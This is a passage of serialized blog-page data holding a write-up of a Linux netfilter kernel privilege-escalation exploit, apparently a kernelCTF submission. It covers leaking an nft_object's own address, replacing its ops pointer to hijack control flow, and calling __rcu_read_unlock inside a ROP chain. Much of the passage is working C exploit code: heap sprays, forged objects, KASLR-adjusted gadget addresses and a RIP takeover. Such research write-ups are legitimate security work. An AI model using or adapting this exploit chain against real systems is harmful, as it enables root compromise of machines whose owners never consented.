wait_destroyer",{"type":20,"tag":315,"props":53811,"children":53812},{"style":328},[53813],{"type":26,"value":568},{"type":20,"tag":315,"props":53815,"children":53816},{"class":317,"line":2185},[53817,53822,53826,53830,53834,53838,53842,53846,53850,53854],{"type":20,"tag":315,"props":53818,"children":53819},{"style":345},[53820],{"type":26,"value":53821}," obj_spray",{"type":20,"tag":315,"props":53823,"children":53824},{"style":328},[53825],{"type":26,"value":53785},{"type":20,"tag":315,"props":53827,"children":53828},{"style":765},[53829],{"type":26,"value":1063},{"type":20,"tag":315,"props":53831,"children":53832},{"style":328},[53833],{"type":26,"value":44},{"type":20,"tag":315,"props":53835,"children":53836},{"style":765},[53837],{"type":26,"value":2406},{"type":20,"tag":315,"props":53839,"children":53840},{"style":328},[53841],{"type":26,"value":44},{"type":20,"tag":315,"props":53843,"children":53844},{"style":541},[53845],{"type":26,"value":52748},{"type":20,"tag":315,"props":53847,"children":53848},{"style":328},[53849],{"type":26,"value":44},{"type":20,"tag":315,"props":53851,"children":53852},{"style":765},[53853],{"type":26,"value":1063},{"type":20,"tag":315,"props":53855,"children":53856},{"style":328},[53857],{"type":26,"value":2214},{"type":20,"tag":315,"props":53859,"children":53860},{"class":317,"line":2217},[53861,53866,53870,53875,53879,53883,53888,53892,53896,53901,53905,53910],{"type":20,"tag":315,"props":53862,"children":53863},{"style":541},[53864],{"type":26,"value":53865}," uint64_t",{"type":20,"tag":315,"props":53867,"children":53868},{"style":334},[53869],{"type":26,"value":8216},{"type":20,"tag":315,"props":53871,"children":53872},{"style":328},[53873],{"type":26,"value":53874},"fake_obj ",{"type":20,"tag":315,"props":53876,"children":53877},{"style":334},[53878],{"type":26,"value":337},{"type":20,"tag":315,"props":53880,"children":53881},{"style":328},[53882],{"type":26,"value":463},{"type":20,"tag":315,"props":53884,"children":53885},{"style":541},[53886],{"type":26,"value":53887},"uint64_t",{"type":20,"tag":315,"props":53889,"children":53890},{"style":334},[53891],{"type":26,"value":8216},{"type":20,"tag":315,"props":53893,"children":53894},{"style":328},[53895],{"type":26,"value":1509},{"type":20,"tag":315,"props":53897,"children":53898},{"style":345},[53899],{"type":26,"value":53900},"getudata",{"type":20,"tag":315,"props":53902,"children":53903},{"style":328},[53904],{"type":26,"value":53785},{"type":20,"tag":315,"props":53906,"children":53907},{"style":2652},[53908],{"type":26,"value":53909},"\"spray-2\"",{"type":20,"tag":315,"props":53911,"children":53912},{"style":328},[53913],{"type":26,"value":2214},{"type":20,"tag":315,"props":53915,"children":53916},{"class":317,"line":2225},[53917],{"type":20,"tag":315,"props":53918,"children":53919},{"style":328},[53920],{"type":26,"value":8718},{"type":20,"tag":219,"props":53922,"children":53924},{"id":53923},"leaking-self-pointer-of-nft_object",[53925,53927],{"type":26,"value":53926},"Leaking self pointer of ",{"type":20,"tag":119,"props":53928,"children":53930},{"className":53929},[],[53931],{"type":26,"value":53366},{"type":20,"tag":29,"props":53933,"children":53934},{},[53935,53937,53942,53944,53949,53951,53956,53958,53964],{"type":26,"value":53936},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":20,"tag":119,"props":53938,"children":53940},{"className":53939},[],[53941],{"type":26,"value":53366},{"type":26,"value":53943}," to get its own address. This is possible because the ",{"type":20,"tag":119,"props":53945,"children":53947},{"className":53946},[],[53948],{"type":26,"value":53366},{"type":26,"value":53950}," has a ",{"type":20,"tag":119,"props":53952,"children":53954},{"className":53953},[],[53955],{"type":26,"value":53351},{"type":26,"value":53957}," pointer (similar to ",{"type":20,"tag":119,"props":53959,"children":53961},{"className":53960},[],[53962],{"type":26,"value":53963},"table->udata",{"type":26,"value":53965}," that I used for leaking KASLR), that I can use to read/write data.",{"type":20,"tag":29,"props":53967,"children":53968},{},[53969,53970,53975,53977,53983,53985,53990,53992,53998,54000,54006,54008,54013,54015,54020,54022,54027,54029],{"type":26,"value":15015},{"type":20,"tag":119,"props":53971,"children":53973},{"className":53972},[],[53974],{"type":26,"value":53366},{"type":26,"value":53976}," struct also contains a ",{"type":20,"tag":119,"props":53978,"children":53980},{"className":53979},[],[53981],{"type":26,"value":53982},"list_head",{"type":26,"value":53984}," inserted in a circular list containing all ",{"type":20,"tag":119,"props":53986,"children":53988},{"className":53987},[],[53989],{"type":26,"value":53366},{"type":26,"value":53991},"'s that belong to a given ",{"type":20,"tag":119,"props":53993,"children":53995},{"className":53994},[],[53996],{"type":26,"value":53997},"table",{"type":26,"value":53999},". Considering that our object is currently alone in its table, the ",{"type":20,"tag":119,"props":54001,"children":54003},{"className":54002},[],[54004],{"type":26,"value":54005},"table->list.next",{"type":26,"value":54007}," pointer in the ",{"type":20,"tag":119,"props":54009,"children":54011},{"className":54010},[],[54012],{"type":26,"value":53366},{"type":26,"value":54014}," will point back to the ",{"type":20,"tag":119,"props":54016,"children":54018},{"className":54017},[],[54019],{"type":26,"value":53982},{"type":26,"value":54021}," contained in the ",{"type":20,"tag":119,"props":54023,"children":54025},{"className":54024},[],[54026],{"type":26,"value":53997},{"type":26,"value":54028}," and vice-versa.\n",{"type":20,"tag":2308,"props":54030,"children":54032},{"alt":48830,"src":54031},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":20,"tag":29,"props":54034,"children":54035},{},[54036,54038,54043,54045,54050,54052,54058,54060,54065,54066,54071,54073,54078,54080,54085],{"type":26,"value":54037},"In short, that means that if we swap the ",{"type":20,"tag":119,"props":54039,"children":54041},{"className":54040},[],[54042],{"type":26,"value":53351},{"type":26,"value":54044}," pointer of the ",{"type":20,"tag":119,"props":54046,"children":54048},{"className":54047},[],[54049],{"type":26,"value":53366},{"type":26,"value":54051}," with its own ",{"type":20,"tag":119,"props":54053,"children":54055},{"className":54054},[],[54056],{"type":26,"value":54057},"list.next",{"type":26,"value":54059}," pointer we should be able to read a pointer back to the ",{"type":20,"tag":119,"props":54061,"children":54063},{"className":54062},[],[54064],{"type":26,"value":53366},{"type":26,"value":50591},{"type":20,"tag":119,"props":54067,"children":54069},{"className":54068},[],[54070],{"type":26,"value":53982},{"type":26,"value":54072}," which is also the start of the ",{"type":20,"tag":119,"props":54074,"children":54076},{"className":54075},[],[54077],{"type":26,"value":53366},{"type":26,"value":54079}," itself.\n",{"type":20,"tag":3717,"props":54081,"children":54082},{},[54083],{"type":26,"value":54084},"NOTE:",{"type":26,"value":54086}," This is a novel small trick.",{"type":20,"tag":305,"props":54088,"children":54090},{"className":27525,"code":54089,"language":27527,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[54091],{"type":20,"tag":119,"props":54092,"children":54093},{"__ignoreMap":7},[54094,54101,54109,54122,54170,54197,54208,54246,54253,54282,54312],{"type":20,"tag":315,"props":54095,"children":54096},{"class":317,"line":318},[54097],{"type":20,"tag":315,"props":54098,"children":54099},{"style":328},[54100],{"type":26,"value":8718},{"type":20,"tag":315,"props":54102,"children":54103},{"class":317,"line":356},[54104],{"type":20,"tag":315,"props":54105,"children":54106},{"style":328},[54107],{"type":26,"value":54108}," // Leak nft_object ptr using table linked list\n",{"type":20,"tag":315,"props":54110,"children":54111},{"class":317,"line":365},[54112,54117],{"type":20,"tag":315,"props":54113,"children":54114},{"style":328},[54115],{"type":26,"value":54116}," fake_obj[8] = 8;",{"type":20,"tag":315,"props":54118,"children":54119},{"style":1071},[54120],{"type":26,"value":54121}," // ulen = 8\n",{"type":20,"tag":315,"props":54123,"children":54124},{"class":317,"line":374},[54125,54130,54134,54139,54143,54147,54152,54156,54160,54165],{"type":20,"tag":315,"props":54126,"children":54127},{"style":635},[54128],{"type":26,"value":54129}," fake_obj",{"type":20,"tag":315,"props":54131,"children":54132},{"style":328},[54133],{"type":26,"value":2117},{"type":20,"tag":315,"props":54135,"children":54136},{"style":765},[54137],{"type":26,"value":54138},"9",{"type":20,"tag":315,"props":54140,"children":54141},{"style":328},[54142],{"type":26,"value":7057},{"type":20,"tag":315,"props":54144,"children":54145},{"style":334},[54146],{"type":26,"value":337},{"type":20,"tag":315,"props":54148,"children":54149},{"style":635},[54150],{"type":26,"value":54151}," fake_obj",{"type":20,"tag":315,"props":54153,"children":54154},{"style":328},[54155],{"type":26,"value":2117},{"type":20,"tag":315,"props":54157,"children":54158},{"style":765},[54159],{"type":26,"value":1063},{"type":20,"tag":315,"props":54161,"children":54162},{"style":328},[54163],{"type":26,"value":54164},"];",{"type":20,"tag":315,"props":54166,"children":54167},{"style":1071},[54168],{"type":26,"value":54169}," // udata = list->next\n",{"type":20,"tag":315,"props":54171,"children":54172},{"class":317,"line":383},[54173,54177,54181,54185,54189,54193],{"type":20,"tag":315,"props":54174,"children":54175},{"style":345},[54176],{"type":26,"value":53780},{"type":20,"tag":315,"props":54178,"children":54179},{"style":328},[54180],{"type":26,"value":53785},{"type":20,"tag":315,"props":54182,"children":54183},{"style":765},[54184],{"type":26,"value":1504},{"type":20,"tag":315,"props":54186,"children":54187},{"style":328},[54188],{"type":26,"value":44},{"type":20,"tag":315,"props":54190,"children":54191},{"style":765},[54192],{"type":26,"value":2406},{"type":20,"tag":315,"props":54194,"children":54195},{"style":328},[54196],{"type":26,"value":2214},{"type":20,"tag":315,"props":54198,"children":54199},{"class":317,"line":407},[54200,54204],{"type":20,"tag":315,"props":54201,"children":54202},{"style":345},[54203],{"type":26,"value":53809},{"type":20,"tag":315,"props":54205,"children":54206},{"style":328},[54207],{"type":26,"value":568},{"type":20,"tag":315,"props":54209,"children":54210},{"class":317,"line":421},[54211,54216,54220,54225,54229,54233,54237,54241],{"type":20,"tag":315,"props":54212,"children":54213},{"style":345},[54214],{"type":26,"value":54215}," udata_spray",{"type":20,"tag":315,"props":54217,"children":54218},{"style":328},[54219],{"type":26,"value":53785},{"type":20,"tag":315,"props":54221,"children":54222},{"style":765},[54223],{"type":26,"value":54224},"0xe8",{"type":20,"tag":315,"props":54226,"children":54227},{"style":328},[54228],{"type":26,"value":44},{"type":20,"tag":315,"props":54230,"children":54231},{"style":765},[54232],{"type":26,"value":15698},{"type":20,"tag":315,"props":54234,"children":54235},{"style":328},[54236],{"type":26,"value":44},{"type":20,"tag":315,"props":54238,"children":54239},{"style":765},[54240],{"type":26,"value":2406},{"type":20,"tag":315,"props":54242,"children":54243},{"style":328},[54244],{"type":26,"value":54245},", fake_obj);\n",{"type":20,"tag":315,"props":54247,"children":54248},{"class":317,"line":430},[54249],{"type":20,"tag":315,"props":54250,"children":54251},{"emptyLinePlaceholder":15},[54252],{"type":26,"value":427},{"type":20,"tag":315,"props":54254,"children":54255},{"class":317,"line":453},[54256,54261,54265,54270,54274,54278],{"type":20,"tag":315,"props":54257,"children":54258},{"style":345},[54259],{"type":26,"value":54260}," get_obj",{"type":20,"tag":315,"props":54262,"children":54263},{"style":328},[54264],{"type":26,"value":53785},{"type":20,"tag":315,"props":54266,"children":54267},{"style":2652},[54268],{"type":26,"value":54269},"\"spray-0\"",{"type":20,"tag":315,"props":54271,"children":54272},{"style":328},[54273],{"type":26,"value":44},{"type":20,"tag":315,"props":54275,"children":54276},{"style":541},[54277],{"type":26,"value":2387},{"type":20,"tag":315,"props":54279,"children":54280},{"style":328},[54281],{"type":26,"value":2214},{"type":20,"tag":315,"props":54283,"children":54284},{"class":317,"line":486},[54285,54290,54294,54299,54303,54307],{"type":20,"tag":315,"props":54286,"children":54287},{"style":345},[54288],{"type":26,"value":54289}," printf",{"type":20,"tag":315,"props":54291,"children":54292},{"style":328},[54293],{"type":26,"value":1049},{"type":20,"tag":315,"props":54295,"children":54296},{"style":2652},[54297],{"type":26,"value":54298},"\"[*] nft_object ptr: 0x%lx",{"type":20,"tag":315,"props":54300,"children":54301},{"style":46624},[54302],{"type":26,"value":46627},{"type":20,"tag":315,"props":54304,"children":54305},{"style":2652},[54306],{"type":26,"value":18463},{"type":20,"tag":315,"props":54308,"children":54309},{"style":328},[54310],{"type":26,"value":54311},", obj_ptr);\n",{"type":20,"tag":315,"props":54313,"children":54314},{"class":317,"line":499},[54315],{"type":20,"tag":315,"props":54316,"children":54317},{"style":328},[54318],{"type":26,"value":8718},{"type":20,"tag":219,"props":54320,"children":54322},{"id":54321},"hijacking-control-flow",[54323],{"type":26,"value":54324},"Hijacking control-flow",{"type":20,"tag":29,"props":54326,"children":54327},{},[54328,54330,54335,54337,54342,54344,54349,54351,54356,54358,54363,54365],{"type":26,"value":54329},"To hijack control-flow, we can use ",{"type":20,"tag":119,"props":54331,"children":54333},{"className":54332},[],[54334],{"type":26,"value":53366},{"type":26,"value":54336}," once again. The ",{"type":20,"tag":119,"props":54338,"children":54340},{"className":54339},[],[54341],{"type":26,"value":53366},{"type":26,"value":54343}," struct has an ",{"type":20,"tag":119,"props":54345,"children":54347},{"className":54346},[],[54348],{"type":26,"value":50922},{"type":26,"value":54350}," pointer to a function pointer table. We can swap the ",{"type":20,"tag":119,"props":54352,"children":54354},{"className":54353},[],[54355],{"type":26,"value":50922},{"type":26,"value":54357}," pointer with the ",{"type":20,"tag":119,"props":54359,"children":54361},{"className":54360},[],[54362],{"type":26,"value":53351},{"type":26,"value":54364}," pointer, taking control of the pointer table.\n",{"type":20,"tag":2308,"props":54366,"children":54368},{"alt":48830,"src":54367},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":20,"tag":305,"props":54370,"children":54372},{"className":27525,"code":54371,"language":27527,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[54373],{"type":20,"tag":119,"props":54374,"children":54375},{"__ignoreMap":7},[54376,54383,54391,54415,54462,54498,54505,54513,54545,54553,54561,54582,54590,54598,54662,54669,54677,54685,54692,54700,54734,54742,54749,54757,54764,54772,54805,54826],{"type":20,"tag":315,"props":54377,"children":54378},{"class":317,"line":318},[54379],{"type":20,"tag":315,"props":54380,"children":54381},{"style":328},[54382],{"type":26,"value":8718},{"type":20,"tag":315,"props":54384,"children":54385},{"class":317,"line":356},[54386],{"type":20,"tag":315,"props":54387,"children":54388},{"style":328},[54389],{"type":26,"value":54390}," // Fake ops\n",{"type":20,"tag":315,"props":54392,"children":54393},{"class":317,"line":365},[54394,54399,54403,54407,54411],{"type":20,"tag":315,"props":54395,"children":54396},{"style":328},[54397],{"type":26,"value":54398}," uint64_t *rop = calloc(29, ",{"type":20,"tag":315,"props":54400,"children":54401},{"style":322},[54402],{"type":26,"value":53580},{"type":20,"tag":315,"props":54404,"children":54405},{"style":328},[54406],{"type":26,"value":1049},{"type":20,"tag":315,"props":54408,"children":54409},{"style":541},[54410],{"type":26,"value":53887},{"type":20,"tag":315,"props":54412,"children":54413},{"style":328},[54414],{"type":26,"value":5618},{"type":20,"tag":315,"props":54416,"children":54417},{"class":317,"line":374},[54418,54423,54427,54431,54435,54439,54444,54448,54453,54457],{"type":20,"tag":315,"props":54419,"children":54420},{"style":635},[54421],{"type":26,"value":54422}," rop",{"type":20,"tag":315,"props":54424,"children":54425},{"style":328},[54426],{"type":26,"value":2117},{"type":20,"tag":315,"props":54428,"children":54429},{"style":765},[54430],{"type":26,"value":1063},{"type":20,"tag":315,"props":54432,"children":54433},{"style":328},[54434],{"type":26,"value":7057},{"type":20,"tag":315,"props":54436,"children":54437},{"style":334},[54438],{"type":26,"value":337},{"type":20,"tag":315,"props":54440,"children":54441},{"style":328},[54442],{"type":26,"value":54443}," kaslr_slide ",{"type":20,"tag":315,"props":54445,"children":54446},{"style":334},[54447],{"type":26,"value":817},{"type":20,"tag":315,"props":54449,"children":54450},{"style":765},[54451],{"type":26,"value":54452}," 0xffffffff81988647",{"type":20,"tag":315,"props":54454,"children":54455},{"style":328},[54456],{"type":26,"value":47325},{"type":20,"tag":315,"props":54458,"children":54459},{"style":1071},[54460],{"type":26,"value":54461}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":20,"tag":315,"props":54463,"children":54464},{"class":317,"line":383},[54465,54469,54473,54477,54481,54485,54489,54493],{"type":20,"tag":315,"props":54466,"children":54467},{"style":635},[54468],{"type":26,"value":54422},{"type":20,"tag":315,"props":54470,"children":54471},{"style":328},[54472],{"type":26,"value":2117},{"type":20,"tag":315,"props":54474,"children":54475},{"style":765},[54476],{"type":26,"value":1504},{"type":20,"tag":315,"props":54478,"children":54479},{"style":328},[54480],{"type":26,"value":7057},{"type":20,"tag":315,"props":54482,"children":54483},{"style":334},[54484],{"type":26,"value":337},{"type":20,"tag":315,"props":54486,"children":54487},{"style":328},[54488],{"type":26,"value":54443},{"type":20,"tag":315,"props":54490,"children":54491},{"style":334},[54492],{"type":26,"value":817},{"type":20,"tag":315,"props":54494,"children":54495},{"style":328},[54496],{"type":26,"value":54497}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":20,"tag":315,"props":54499,"children":54500},{"class":317,"line":407},[54501],{"type":20,"tag":315,"props":54502,"children":54503},{"style":328},[54504],{"type":26,"value":8718},{"type":20,"tag":315,"props":54506,"children":54507},{"class":317,"line":421},[54508],{"type":20,"tag":315,"props":54509,"children":54510},{"style":328},[54511],{"type":26,"value":54512}," // Send ROP in object udata\n",{"type":20,"tag":315,"props":54514,"children":54515},{"class":317,"line":430},[54516,54521,54525,54530,54535,54540],{"type":20,"tag":315,"props":54517,"children":54518},{"style":328},[54519],{"type":26,"value":54520}," del_obj(",{"type":20,"tag":315,"props":54522,"children":54523},{"style":322},[54524],{"type":26,"value":52542},{"type":20,"tag":315,"props":54526,"children":54527},{"style":328},[54528],{"type":26,"value":54529},", \"",{"type":20,"tag":315,"props":54531,"children":54532},{"style":322},[54533],{"type":26,"value":54534},"spray",{"type":20,"tag":315,"props":54536,"children":54537},{"style":328},[54538],{"type":26,"value":54539},"-0",{"type":20,"tag":315,"props":54541,"children":54542},{"style":2652},[54543],{"type":26,"value":54544},"\");\n",{"type":20,"tag":315,"props":54546,"children":54547},{"class":317,"line":453},[54548],{"type":20,"tag":315,"props":54549,"children":54550},{"style":2652},[54551],{"type":26,"value":54552}," wait_destroyer();\n",{"type":20,"tag":315,"props":54554,"children":54555},{"class":317,"line":486},[54556],{"type":20,"tag":315,"props":54557,"children":54558},{"style":2652},[54559],{"type":26,"value":54560}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":20,"tag":315,"props":54562,"children":54563},{"class":317,"line":499},[54564,54569,54573,54578],{"type":20,"tag":315,"props":54565,"children":54566},{"style":2652},[54567],{"type":26,"value":54568}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":20,"tag":315,"props":54570,"children":54571},{"style":541},[54572],{"type":26,"value":54534},{"type":20,"tag":315,"props":54574,"children":54575},{"style":328},[54576],{"type":26,"value":54577},"-3",{"type":20,"tag":315,"props":54579,"children":54580},{"style":2652},[54581],{"type":26,"value":54544},{"type":20,"tag":315,"props":54583,"children":54584},{"class":317,"line":513},[54585],{"type":20,"tag":315,"props":54586,"children":54587},{"style":2652},[54588],{"type":26,"value":54589}," DumpHex(fake_obj, 0xe8);\n",{"type":20,"tag":315,"props":54591,"children":54592},{"class":317,"line":521},[54593],{"type":20,"tag":315,"props":54594,"children":54595},{"style":2652},[54596],{"type":26,"value":54597}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":20,"tag":315,"props":54599,"children":54600},{"class":317,"line":552},[54601,54606,54610,54614,54618,54623,54628,54633,54637,54642,54647,54652,54657],{"type":20,"tag":315,"props":54602,"children":54603},{"style":2652},[54604],{"type":26,"value":54605}," printf(\"",{"type":20,"tag":315,"props":54607,"children":54608},{"style":328},[54609],{"type":26,"value":2117},{"type":20,"tag":315,"props":54611,"children":54612},{"style":334},[54613],{"type":26,"value":901},{"type":20,"tag":315,"props":54615,"children":54616},{"style":328},[54617],{"type":26,"value":7057},{"type":20,"tag":315,"props":54619,"children":54620},{"style":322},[54621],{"type":26,"value":54622},"ROP",{"type":20,"tag":315,"props":54624,"children":54625},{"style":322},[54626],{"type":26,"value":54627}," addr",{"type":20,"tag":315,"props":54629,"children":54630},{"style":328},[54631],{"type":26,"value":54632},": 0",{"type":20,"tag":315,"props":54634,"children":54635},{"style":322},[54636],{"type":26,"value":17680},{"type":20,"tag":315,"props":54638,"children":54639},{"style":328},[54640],{"type":26,"value":54641},"%",{"type":20,"tag":315,"props":54643,"children":54644},{"style":322},[54645],{"type":26,"value":54646},"lx",{"type":20,"tag":315,"props":54648,"children":54649},{"style":328},[54650],{"type":26,"value":54651},"\\",{"type":20,"tag":315,"props":54653,"children":54654},{"style":322},[54655],{"type":26,"value":54656},"n",{"type":20,"tag":315,"props":54658,"children":54659},{"style":2652},[54660],{"type":26,"value":54661},"\", rop_addr);\n",{"type":20,"tag":315,"props":54663,"children":54664},{"class":317,"line":571},[54665],{"type":20,"tag":315,"props":54666,"children":54667},{"emptyLinePlaceholder":15},[54668],{"type":26,"value":427},{"type":20,"tag":315,"props":54670,"children":54671},{"class":317,"line":2031},[54672],{"type":20,"tag":315,"props":54673,"children":54674},{"style":2652},[54675],{"type":26,"value":54676}," // Point to fake ops\n",{"type":20,"tag":315,"props":54678,"children":54679},{"class":317,"line":2053},[54680],{"type":20,"tag":315,"props":54681,"children":54682},{"style":2652},[54683],{"type":26,"value":54684}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":20,"tag":315,"props":54686,"children":54687},{"class":317,"line":2061},[54688],{"type":20,"tag":315,"props":54689,"children":54690},{"style":2652},[54691],{"type":26,"value":8718},{"type":20,"tag":315,"props":54693,"children":54694},{"class":317,"line":2070},[54695],{"type":20,"tag":315,"props":54696,"children":54697},{"style":2652},[54698],{"type":26,"value":54699}," // Write ROP\n",{"type":20,"tag":315,"props":54701,"children":54702},{"class":317,"line":2139},[54703,54708,54712,54716,54720,54725,54730],{"type":20,"tag":315,"props":54704,"children":54705},{"style":2652},[54706],{"type":26,"value":54707}," puts(\"",{"type":20,"tag":315,"props":54709,"children":54710},{"style":328},[54711],{"type":26,"value":2117},{"type":20,"tag":315,"props":54713,"children":54714},{"style":334},[54715],{"type":26,"value":901},{"type":20,"tag":315,"props":54717,"children":54718},{"style":328},[54719],{"type":26,"value":7057},{"type":20,"tag":315,"props":54721,"children":54722},{"style":322},[54723],{"type":26,"value":54724},"Write",{"type":20,"tag":315,"props":54726,"children":54727},{"style":322},[54728],{"type":26,"value":54729}," ROP",{"type":20,"tag":315,"props":54731,"children":54732},{"style":2652},[54733],{"type":26,"value":54544},{"type":20,"tag":315,"props":54735,"children":54736},{"class":317,"line":2147},[54737],{"type":20,"tag":315,"props":54738,"children":54739},{"style":2652},[54740],{"type":26,"value":54741}," deludata_spray(nl, 3, 1);\n",{"type":20,"tag":315,"props":54743,"children":54744},{"class":317,"line":2177},[54745],{"type":20,"tag":315,"props":54746,"children":54747},{"style":2652},[54748],{"type":26,"value":54552},{"type":20,"tag":315,"props":54750,"children":54751},{"class":317,"line":2185},[54752],{"type":20,"tag":315,"props":54753,"children":54754},{"style":2652},[54755],{"type":26,"value":54756}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":20,"tag":315,"props":54758,"children":54759},{"class":317,"line":2217},[54760],{"type":20,"tag":315,"props":54761,"children":54762},{"emptyLinePlaceholder":15},[54763],{"type":26,"value":427},{"type":20,"tag":315,"props":54765,"children":54766},{"class":317,"line":2225},[54767],{"type":20,"tag":315,"props":54768,"children":54769},{"style":2652},[54770],{"type":26,"value":54771}," // Takeover RIP\n",{"type":20,"tag":315,"props":54773,"children":54774},{"class":317,"line":2285},[54775,54779,54783,54787,54791,54796,54801],{"type":20,"tag":315,"props":54776,"children":54777},{"style":2652},[54778],{"type":26,"value":54707},{"type":20,"tag":315,"props":54780,"children":54781},{"style":328},[54782],{"type":26,"value":2117},{"type":20,"tag":315,"props":54784,"children":54785},{"style":334},[54786],{"type":26,"value":901},{"type":20,"tag":315,"props":54788,"children":54789},{"style":328},[54790],{"type":26,"value":7057},{"type":20,"tag":315,"props":54792,"children":54793},{"style":322},[54794],{"type":26,"value":54795},"Takeover",{"type":20,"tag":315,"props":54797,"children":54798},{"style":322},[54799],{"type":26,"value":54800}," RIP",{"type":20,"tag":315,"props":54802,"children":54803},{"style":2652},[54804],{"type":26,"value":54544},{"type":20,"tag":315,"props":54806,"children":54807},{"class":317,"line":7444},[54808,54813,54817,54822],{"type":20,"tag":315,"props":54809,"children":54810},{"style":2652},[54811],{"type":26,"value":54812}," dump_obj(nl, \"",{"type":20,"tag":315,"props":54814,"children":54815},{"style":541},[54816],{"type":26,"value":54534},{"type":20,"tag":315,"props":54818,"children":54819},{"style":328},[54820],{"type":26,"value":54821},"-1",{"type":20,"tag":315,"props":54823,"children":54824},{"style":2652},[54825],{"type":26,"value":54544},{"type":20,"tag":315,"props":54827,"children":54828},{"class":317,"line":7462},[54829],{"type":20,"tag":315,"props":54830,"children":54831},{"style":2652},[54832],{"type":26,"value":8718},{"type":20,"tag":219,"props":54834,"children":54836},{"id":54835},"bypass-context-switch-in-rcu-critical-section",[54837],{"type":26,"value":54838},"Bypass context switch in RCU critical-section",{"type":20,"tag":29,"props":54840,"children":54841},{},[54842,54843,54848],{"type":26,"value":15015},{"type":20,"tag":119,"props":54844,"children":54846},{"className":54845},[],[54847],{"type":26,"value":53366},{"type":26,"value":54849}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":20,"tag":29,"props":54851,"children":54852},{},[54853,54855,54862,54864,54870,54872,54878],{"type":26,"value":54854},"A workaround has been discussed before by D3v17 in a ",{"type":20,"tag":35,"props":54856,"children":54859},{"href":54857,"rel":54858},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[39],[54860],{"type":26,"value":54861},"previous kernelCTF submission",{"type":26,"value":54863}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":20,"tag":119,"props":54865,"children":54867},{"className":54866},[],[54868],{"type":26,"value":54869},"task_struct",{"type":26,"value":54871}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":20,"tag":119,"props":54873,"children":54875},{"className":54874},[],[54876],{"type":26,"value":54877},"__rcu_read_unlock()",{"type":26,"value":54879}," function and exit the RCU critical-section before switching contexts.",{"type":20,"tag":305,"props":54881,"children":54883},{"className":27525,"code":54882,"language":27527,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[54884],{"type":20,"tag":119,"props":54885,"children":54886},{"__ignoreMap":7},[54887,54895,54919,54926],{"type":20,"tag":315,"props":54888,"children":54889},{"class":317,"line":318},[54890],{"type":20,"tag":315,"props":54891,"children":54892},{"style":1071},[54893],{"type":26,"value":54894}," // ROP stage 1\n",{"type":20,"tag":315,"props":54896,"children":54897},{"class":317,"line":356},[54898,54902,54907,54911,54915],{"type":20,"tag":315,"props":54899,"children":54900},{"style":541},[54901],{"type":26,"value":17481},{"type":20,"tag":315,"props":54903,"children":54904},{"style":328},[54905],{"type":26,"value":54906}," pos ",{"type":20,"tag":315,"props":54908,"children":54909},{"style":334},[54910],{"type":26,"value":337},{"type":20,"tag":315,"props":54912,"children":54913},{"style":765},[54914],{"type":26,"value":17503},{"type":20,"tag":315,"props":54916,"children":54917},{"style":328},[54918],{"type":26,"value":1405},{"type":20,"tag":315,"props":54920,"children":54921},{"class":317,"line":365},[54922],{"type":20,"tag":315,"props":54923,"children":54924},{"emptyLinePlaceholder":15},[54925],{"type":26,"value":427},{"type":20,"tag":315,"props":54927,"children":54928},{"class":317,"line":374},[54929,54933,54938,54942,54946,54950,54954,54958],{"type":20,"tag":315,"props":54930,"children":54931},{"style":635},[54932],{"type":26,"value":54422},{"type":20,"tag":315,"props":54934,"children":54935},{"style":328},[54936],{"type":26,"value":54937},"[pos",{"type":20,"tag":315,"props":54939,"children":54940},{"style":334},[54941],{"type":26,"value":49521},{"type":20,"tag":315,"props":54943,"children":54944},{"style":328},[54945],{"type":26,"value":7057},{"type":20,"tag":315,"props":54947,"children":54948},{"style":334},[54949],{"type":26,"value":337},{"type":20,"tag":315,"props":54951,"children":54952},{"style":328},[54953],{"type":26,"value":54443},{"type":20,"tag":315,"props":54955,"children":54956},{"style":334},[54957],{"type":26,"value":817},{"type":20,"tag":315,"props":54959,"children":54960},{"style":328},[54961],{"type":26,"value":54962}," 